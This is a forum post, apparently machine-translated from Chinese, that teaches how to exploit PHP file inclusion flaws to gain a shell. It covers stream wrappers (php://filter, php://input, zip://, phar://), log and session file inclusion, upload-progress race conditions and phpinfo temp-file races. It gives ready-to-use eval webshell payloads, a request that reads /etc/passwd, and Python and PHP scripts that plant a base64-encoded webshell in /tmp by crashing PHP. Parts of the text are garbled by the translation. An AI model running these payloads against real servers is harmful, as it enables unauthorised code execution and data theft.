Jump to content

Title: PHP file contains vulnerabilities

Featured Replies

Posted

PHP 文件包含漏洞

1 相关函数

include()

include_once()

require()

require_once()

2 分类

Remote file contains

Local files contain

3 包含的实现

When including, you do not necessarily need to include the php file (that is, the executed php file)

Similar to: a.phps, a.xxx, a.jpg

As long as the file contains a complete piece of php code, such as a.txt, the content is ?php phpinfo();

4 包含的场景

4.1 上传可控文件

For example, if we can upload images, then pass an image file with the complete php code, or change the code file to the suffix

Compressed package, in line with pseudo-protocol

?php ? Filtering situation:

1

script language='php'@eval($_POST['a']);/script

4.2 远程文件包含

4.2.1 条件

allow_url_fopen

This option activates the fopen encapsulation protocol in the form of URLs to enable access to URL objects such as files. The default encapsulation protocol provides access to remote files using the ftp and http protocols, and some extension libraries such as zlib may register more encapsulation protocols.

4.2.2 远程文件包含

[http|https|ftp]://www.bbb.com/shell.txt

If the suffix name is written to the dead, can it be used? Bypassed

pyload:

1

aaa.com/1.php?a

4.3 伪协议

4.3.1 PHP 归档

phar://

zip://

DEMO:http://106.12.37.37/index.php?url=upload

payload:

url=zip://a.zip#File name in the compressed package

url=phar://a.zip/file name in the compressed package

The uploaded file does not have the suffix name, as long as it is a file with the zip file header, the zip file is changed to jpg, and the zip://protocol can still be parsed

4.3.2 利用 PHP 流

4.3.2.1 php://filter

Metapacker designed for filtering applications when data streams are opened. This is very useful for all-in-one file functions, like readfile(), file(), and file_get_contents(), where no other filters are applied before the data stream content is read.

php://filter target uses the following parameters as part of its path. The composite filter chain can be specified on one path. For detailed use of these parameters, please refer to specific examples.

?file=php://filter/read=convert.base64-encode/resource=index.php

?file=php://filter/read=string.toupper|string.rot13/resource=index.php

In addition, there are:

1

2

3

4

5

6

7

string.toupper //It's written on it

string.tolower //Convert to lowercase

string.strip_tags //Remove html and php tags, such as ?php?

convert.base64-encode //base64 encoding

convert.base64-decode //base64 encoding

convert.quoted-printable-encode //quoted-printable to 8bit

convert.quoted-printable-decode //Same as above

DEMO:

http://chinalover.sinaapp.com/web7/index.php

4.3.2.2 php://input

Utilization conditions

allow_url_include=On

No requirements for allow_url_fopen

php://input can read unprocessed POST data

20190113170721.png-water_print

Payload:

Url:key=123flag=php://input

Post: 123

4.4 日志文件

Many times, the web server will write the request to the log file. For example, when apache initiates a request, it will write the request to access error.log. By default, the log save path is in /var/log/apache2/

www The user does not have permission to read the log, and the application scenarios are limited.

4.5 SESSION

The session files generated by PHP are often stored in the /tmp directory

20190113171531.png-water_print

20210113171551.png-water_print

4.5.1 session 文件

Register a sentence username and include session file http://512ab969d9ce414e9349e459f7bfe9d1b601c9951aa24093.changame.icunqiu.com/action.php?module=file=./././././././tmp/SESS/sess_tftrtvb6t089398jjl0p1cdvj7a=system('cat flag.php');

4.5.2 session.upload

session.upload_progress.enabled This parameter is enabled by default in php.ini and needs to be manually configured as OFF. If it is not off, an upload progress file will be generated during the upload process. Its appearance is to display the progress of the file during uploading to display the information of file uploading.

Its storage path can be obtained in phpinfo (as shown in the picture above)

Demo:

1

2

3

?php

($_=@_GET['orange']) @substr(file($_)[0],0,6)==='@?php' ? include($_) : highlight_file(__FILE__);

?

This session file does not have to be generated by session_start. As long as you send a value of Cookie: PHPSESSID=xxx to the server, and then upload the file using session upload, such a session file will be generated.

Upload files via curl:

1

curl http://IP/index.php -H 'Cookie:PHPSESSID=iamnotorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=aaa' -F 'file=@/etc/passwd'

This way you can control the file name, and then find a way to control the file content.

Because the file upload speed is relatively fast, sometimes it is often too late to see the upload information saved in the session file and it will be deleted. We can upload a relatively large file and compete in terms of conditions. Let’s first look at the contents of the file saved in the session.

Here is a form like this, upload.php

1

2

3

4

5

6

7

8

9

10

11

12

form action='upload.php' method='POST' enctype='multipart/form-data'

input type='hidden' name='?php echo ini_get('session.upload_progress.name');' value='iamnotorange' /

input type='file' name='file1' /

input type='file' name='file2' /

input type='submit' /

/form

?php

session_start();

$name=ini_get('session.upload_progress.name');

$key=ini_get('session.upload_progress.prefix') . $_POST[$name];

var_dump($_SESSION[$key]);

include '/var/lib/php/sessions/sess_iamnotorange';

Then start a multi-threading several times and you can see the file contents read through conditional competition:

20210113221506.png-water_print

You can find that the upload_progress_ in the file is fixed and uncontrollable.

Next, there is another condition that substr(file($_)[0],0,6)==='@?php', I thought of using the pseudo protocol in php to modify the file content.

Reference: https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_1

Base64's pre-knowledge

The string set encoded by base64 is [0-9a-zA-Z+/=]

Therefore, when decoding, when encountering characters other than this, those characters will be skipped. Only characters in this range are decoded.

In this example, _ is automatically skipped as a special character when decoding base64.

So just decrypt the previous upload_progress_ many times to make it empty

1

2

3

4

5

6

7

8

9

10

11

$i=0;

$data='upload_progress_';

while(true){

$i +=1;

$data=base64_decode($data);

var_dump($data);

if($data==''){

echo 'A total of :'.$i,'times\n';

break;

}

}

Through the script, you can see that the previous content can be converted into empty in just three times.

However, since base64 decodes 4 characters into a group. upload_progress_ does not satisfy the allowable character to be multiples of 4 after three decoding (14 valid characters, and at least 16 valid characters are required), and the subsequent characters will be counted into the padding, thus destroying the original incoming php code.

Example

1

2

3

4

5

6

7

8

9

10

function triple_base64_encode($str){

return base64_encode(base64_encode(base64_encode(base64_encode($str)));

}

function triple_base64_decode($str){

return base64_decode(base64_decode(base64_decode(base64_decode($str)));

}

$i=0;

$data='upload_progress_'.triple_base64_encode('?=\`id\`;');

echo triple_base64_decode($data);

What is the decoded data?

In the three decoding, upload_progress_ZZ is left with four allowed characters hikY after the first decoding. The second decoding does not allow characters, and the third decoding becomes empty.

In these three times, the number of characters allowed is multiples of 4, so that the php code passed in later will not be destroyed.

Blasting script:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

?php

$str='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';

while(true) {

$i=0;

$data='upload_progress_'.substr(str_shuffle($str),10,2);

$s=base64_decode($data);

$s_length=strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $s));

$ss=base64_decode($s);

$ss_length=strlen(preg_replace('|[^a-z0-9A-Z+/]|s', '', $ss));

$sss=base64_decode($ss);

if($s_length%4==0 $ss_length%4==0 $sss=='') {

echo $data;

break;

}

}

There is also a requirement for the subsequent php code, that is,=cannot appear in three decryptions, because=in base64 can only be placed in the last fill-in of the encoding. If it appears in the middle, the php://filter/convert.base64-decode stream cannot be parsed normally, and an error will be reported.

In this regard, Master oragne wrote a script to generate this thing:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

import string

from base64 import b64encode

from random import sample, randint

payload='@?php file_put_contents('/tmp/web', '@?php eval($_GET[1])?');'

While 1:

junk=''.join(sample(string.ascii_letters, randint(8, 16)))

x=b64encode(payload + junk)

xx=b64encode(b64encode(payload + junk))

xxx=b64encode(b64encode(b64encode(payload + junk)))

if '=' not in x and '=' not in xx and '=' not in xxx:

print(xxx)

break

VVVSM0wyTkhhSGRKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMk4yWkVjeGQwd3paR3haYVdOelNVTmtRVkJFT1hkaFNFRm5XbGhhYUdKRFoydFlNR1JHVmtaemVGaFRheTlRYVdOd1QzbEJMMUJzVGxGVmEwNUZWbXh3YTFSRk5UTmlNMHB6

4.6 ./ 长文件名截断

payload:page=phpinfo.txt………………………………………………………………………………………………….

or page=phpinfo.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

4.7 phpinfo

When submitting a form-data request to any php file on the server to upload data, a temporary file will be generated. The path and name of the temporary file will be obtained through phpinfo. Then, when the temporary file is deleted in a very short time, the competition time includes the temporary file and get the webshell

20190113173316.png-water_print

https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

4.8 PHP 自包含

Upload - Temporary File

End of session - Delete temporary files

phpinfo() - Temporary file name

Interrupt the deletion process

/a.php?include=a.php

In this way, a.php will include itself, and when the included a.php attempts to process the url's inclusion request again, it will include itself again, forming infinite recursion. Recursion will cause the stack to explode, making php unable to perform subsequent processing of this request, and then it can include it.

Self-contained, causing php to stop

demo:

"Baidu Cup" CTF match December game - Blog Advanced Edition

Register an account, the POST page exists insert type SQL injection to obtain the administrator account

Log in to the admin account and find that there are any inclusions under the manage page

Exploiting self-contained vulnerability to upload webshell in the tmp folder

4.9 PHP 崩溃

Local file inclusion vulnerability can make php include itself, causing a dead loop, and then php will crash. If there is a request to upload a file at the same time in the request, the file will be retained.

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

Can cause php to be executed Segment Fault

Imagine that I can exploit the local file inclusion vulnerability

In previous online analysis articles, local file inclusion vulnerabilities can allow php to include itself, resulting in a dead loop

Then php will crash. If there is a request to upload a file at the same time in the request, the file will be retained

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

#!/usr/bin/env python

# -*- coding: utf-8 -*-

import requests

import string

import itertools

charset=string.digits + string.letters

host='192.168.43.155'

port=80

base_url='http://%s:%d' % (host, port)

def upload_file_to_include(url, file_content):

files={'file': ('evil.jpg', file_content, 'image/jpeg')}

try:

response=requests.post(url, files=files)

except Exception as e:

print e

def generate_tmp_files():

webshell_content='?php eval($_REQUEST[c]);'.encode(

'base64').strip().encode('base64').strip().encode('base64').strip()

file_content='?php if(file_put_contents('/tmp/ssh_session_HD89q2', base64_decode('%s'))){echo 'flag';}?' % (

webshell_content)

phpinfo_url='%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd' % (

base_url)

length=6

times=len(charset) ** (length/2)

for i in xrange(times):

print '[+] %d/%d' % (i, times)

upload_file_to_include(phpinfo_url, file_content)

def main():

generate_tmp_files()

if __name__=='__main__':

main()

5 总结

When there is a vulnerability in a target file, the file that can be included cannot be found and cannot getshell. There are three ways to do it:

Borrow phpinfo, including temporary files to getshell

Use PHP_SESSION_UPLOAD_PROGRESS to getshell

Use a vulnerability (such as memory vulnerabilities, etc.) that can cause PHP to stop executing, and the uploaded temporary files will not be deleted at this time. We can burst cache file names to getshell.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.